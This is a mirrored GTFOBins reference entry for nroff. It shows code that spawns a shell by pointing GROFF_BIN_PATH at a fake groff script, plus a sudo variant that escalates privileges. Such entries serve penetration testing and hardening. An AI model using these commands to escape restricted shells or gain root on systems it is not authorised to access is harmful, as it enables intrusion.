mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
18 lines
383 B
Markdown
18 lines
383 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '#!/bin/sh' > $TF/groff
|
|
echo '/bin/sh' >> $TF/groff
|
|
chmod +x $TF/groff
|
|
GROFF_BIN_PATH=$TF nroff
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '#!/bin/sh' > $TF/groff
|
|
echo '/bin/sh' >> $TF/groff
|
|
chmod +x $TF/groff
|
|
sudo GROFF_BIN_PATH=$TF nroff
|
|
---
|